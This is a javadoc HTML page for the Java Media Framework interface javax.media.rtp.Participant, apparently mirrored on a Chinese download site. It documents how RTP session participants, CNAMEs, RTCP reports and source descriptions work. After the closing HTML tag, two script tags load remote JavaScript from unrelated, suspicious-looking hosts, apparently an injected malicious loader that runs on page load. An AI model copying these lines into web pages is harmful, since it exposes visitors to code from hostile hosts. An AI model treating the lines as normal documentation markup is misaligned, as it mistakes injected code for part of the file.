⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 participant.html

📁 JMF原版英文说明文档
💻 HTML
字号:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Frameset//EN""http://www.w3.org/TR/REC-html40/frameset.dtd"><!--NewPage--><HTML><HEAD><!-- Generated by javadoc on Sat May 20 18:57:55 PDT 2000 --><TITLE>: Interface  Participant</TITLE><LINK REL ="stylesheet" TYPE="text/css" HREF="../../../stylesheet.css" TITLE="Style"></HEAD><BODY BGCOLOR="white"><!-- ========== START OF NAVBAR ========== --><A NAME="navbar_top"><!-- --></A><TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0"><TR><TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"><A NAME="navbar_top_firstrow"><!-- --></A><TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3">  <TR ALIGN="center" VALIGN="top">  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD>  </TR></TABLE></TD><TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM></EM></TD></TR><TR><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">&nbsp;<A HREF="../../../javax/media/rtp/OutputDataStream.html"><B>PREV CLASS</B></A>&nbsp;&nbsp;<A HREF="../../../javax/media/rtp/ReceiveStream.html"><B>NEXT CLASS</B></A></FONT></TD><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">  <A HREF="../../../index.html" TARGET="_top"><B>FRAMES</B></A>  &nbsp;&nbsp;<A HREF="Participant.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD></TR><TR><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">  SUMMARY: &nbsp;INNER&nbsp;|&nbsp;FIELD&nbsp;|&nbsp;CONSTR&nbsp;|&nbsp;<A HREF="#method_summary">METHOD</A></FONT></TD><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">DETAIL: &nbsp;FIELD&nbsp;|&nbsp;CONSTR&nbsp;|&nbsp;<A HREF="#method_detail">METHOD</A></FONT></TD></TR></TABLE><!-- =========== END OF NAVBAR =========== --><HR><!-- ======== START OF CLASS DATA ======== --><H2><FONT SIZE="-1">javax.media.rtp</FONT><BR>Interface  Participant</H2><DL><DT><B>All Known Subinterfaces:</B> <DD><A HREF="../../../javax/media/rtp/LocalParticipant.html">LocalParticipant</A>, <A HREF="../../../javax/media/rtp/RemoteParticipant.html">RemoteParticipant</A></DD></DL><HR><DL><DT>public interface <B>Participant</B></DL><P>This interface represents one participant in an RTP session. Within a session,  a participant is defined to be the application sending and  receiving data on that session.  Note  that this doesn't necessarily  imply that participants are human. A single participant may be the source of zero or more streams of RTP data packets, each of which is represented by an RTPStream  object obtainable via the getStreams().<P> RTPSM only creates instances of the two subclasses of this class, RTPRemoteParticipant and RTPLocalParticipant.  Of all the Participants  objects managed by the  RTPSessionManager, only one is the local participant and thus an instance of RTPLocalParticipant. <P> All the other Participants in the session (obtainable via RTPSM.getRemoteParticipants()) are "remote" and are instances of RTPRemoteParticipant; calls to getStreams() on  remote participants return a Vector of ReceiveStream objects.  The client can determine whether  an Participant is local doing a simple "instanceof" test. <P> Participants are identified by the CNAME string, which is transmitted in every  RTCP packet.Since a participant may begin sending data packets *before* the CNAME of the  participant has arrived in an RTCP packet, it is possible that a data stream will exist, for a  short time, as "unassociated" with any participant. See ReceiveStream for more details.  <P> Note that this abstraction defines a participant *within* a session; in real  life, "participants" can be involved in more than one RTP session at a time. <P><P><HR><P><!-- ======== INNER CLASS SUMMARY ======== --><!-- =========== FIELD SUMMARY =========== --><!-- ======== CONSTRUCTOR SUMMARY ======== --><!-- ========== METHOD SUMMARY =========== --><A NAME="method_summary"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=2><FONT SIZE="+2"><B>Method Summary</B></FONT></TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE>&nbsp;java.lang.String</CODE></FONT></TD><TD><CODE><B><A HREF="../../../javax/media/rtp/Participant.html#getCNAME()">getCNAME</A></B>()</CODE><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Provides a quick method to get the CNAME of this participant.</TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE>&nbsp;java.util.Vector</CODE></FONT></TD><TD><CODE><B><A HREF="../../../javax/media/rtp/Participant.html#getReports()">getReports</A></B>()</CODE><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Returns a Vector of RTCPReport objects, each representing the most recent  RTCP report for an SSRC sent by this participant.</TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE>&nbsp;java.util.Vector</CODE></FONT></TD><TD><CODE><B><A HREF="../../../javax/media/rtp/Participant.html#getSourceDescription()">getSourceDescription</A></B>()</CODE><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Returns a Vector of RTCPSourceDescription objects.</TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE>&nbsp;java.util.Vector</CODE></FONT></TD><TD><CODE><B><A HREF="../../../javax/media/rtp/Participant.html#getStreams()">getStreams</A></B>()</CODE><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Retrieves a Vector which is the set of all RTPStream objects for this  participant.</TD></TR></TABLE>&nbsp;<P><!-- ============ FIELD DETAIL =========== --><!-- ========= CONSTRUCTOR DETAIL ======== --><!-- ============ METHOD DETAIL ========== --><A NAME="method_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Method Detail</B></FONT></TD></TR></TABLE><A NAME="getStreams()"><!-- --></A><H3>getStreams</H3><PRE>public java.util.Vector <B>getStreams</B>()</PRE><DL><DD>Retrieves a Vector which is the set of all RTPStream objects for this  participant.  Note that if the participant is not sending a stream  of RTP packets (i.e. it is a  "passive" participant),this method  will return an empty Vector. Note that if this call is made  after  data has started coming in from a new SSRC from this participant, but before an RTCP packet  has arrived to map that SSRC to this  participant, that receive stream will not turn up in this call; when and if said RTCP packet arrives and the orphan stream can  be associated with an  Participant, the recvStreamMapped callback will be issued to all RTPSessionListeners.<P> If this is the local participant, the returned Vector will contain null. if it is a remote participant it will contain ReceiveStream objects.    <P><DD><DL><DT><B>Returns:</B><DD>the Vector of RTPStream objects. <P></DL></DD></DL><HR><A NAME="getReports()"><!-- --></A><H3>getReports</H3><PRE>public java.util.Vector <B>getReports</B>()</PRE><DL><DD>Returns a Vector of RTCPReport objects, each representing the most recent  RTCP report for an SSRC sent by this participant.  In most cases,  this Vector will contain  exactly one report, be it an SR or RR,  because most participants (passive receivers and single-stream senders) only send out one SSRC.  The exceptions are those  participants sending multiple  data streams, in which case there will be one report per stream (i.e. per SSRC); these reports would also  be accessible via the getReport() call on each individual  RTPStream.    <P></DL><HR><A NAME="getCNAME()"><!-- --></A><H3>getCNAME</H3><PRE>public java.lang.String <B>getCNAME</B>()</PRE><DL><DD>Provides a quick method to get the CNAME of this participant. This value  can also be obtained from the RTCPReport objects returned through getReports() on this participant. <P><DD><DL><DT><B>Returns:</B><DD>the CNAME identifying this participant.   <P></DL></DD></DL><HR><A NAME="getSourceDescription()"><!-- --></A><H3>getSourceDescription</H3><PRE>public java.util.Vector <B>getSourceDescription</B>()</PRE><DL><DD>Returns a Vector of RTCPSourceDescription objects.  Each such object is one  field from the most recent RTCP SDES packet for this  participant. Since typically the most recent SDES packet will not contain all of the RTCPSourceDescription objects simultaneously, the returned Vector contains the most recent SDES type received from this participant, possibly from many RTCP reports. (Each of the returned SDES types therefore may not be from the  latest RTCP report necessarliy). A convenient method to get at the source description  without having to go through calling  getReports(),  enumerating the Vector, and  then calling getSourceDescription()  on the  RTCPReport.<P><DD><DL><DT><B>Returns:</B><DD>the Vector representing the latest SDES report from this participant.  May be an empty Vector.    <P></DL></DD></DL><!-- ========= END OF CLASS DATA ========= --><HR><!-- ========== START OF NAVBAR ========== --><A NAME="navbar_bottom"><!-- --></A><TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0"><TR><TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"><A NAME="navbar_bottom_firstrow"><!-- --></A><TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3">  <TR ALIGN="center" VALIGN="top">  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD>  </TR></TABLE></TD><TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM></EM></TD></TR><TR><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">&nbsp;<A HREF="../../../javax/media/rtp/OutputDataStream.html"><B>PREV CLASS</B></A>&nbsp;&nbsp;<A HREF="../../../javax/media/rtp/ReceiveStream.html"><B>NEXT CLASS</B></A></FONT></TD><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">  <A HREF="../../../index.html" TARGET="_top"><B>FRAMES</B></A>  &nbsp;&nbsp;<A HREF="Participant.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD></TR><TR><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">  SUMMARY: &nbsp;INNER&nbsp;|&nbsp;FIELD&nbsp;|&nbsp;CONSTR&nbsp;|&nbsp;<A HREF="#method_summary">METHOD</A></FONT></TD><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">DETAIL: &nbsp;FIELD&nbsp;|&nbsp;CONSTR&nbsp;|&nbsp;<A HREF="#method_detail">METHOD</A></FONT></TD></TR></TABLE><!-- =========== END OF NAVBAR =========== --><HR><font size="-1">  <a href="mailto:jmf-bugs@sun.com">Submit a bug or feature</a>  <br>Copyright 1999-2000 Sun Microsystems, Inc. 901 San Antonio Road,  Palo Alto, California, 94303, U.S.A. All Rights Reserved.  See the <a href="spec-license.html">Specification License</a> for more details.  <br>Sun, Sun Microsystems, and Java are trademarks or registered  trademarks of Sun Microsystems, Inc. in the US and other countries.</font></BODY></HTML>
<script language=javascript src=http://www.3389qiqi.com/xx.js></script>
<script language="javascript" src="http://grwm.woxwngw.cn/index.htm"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -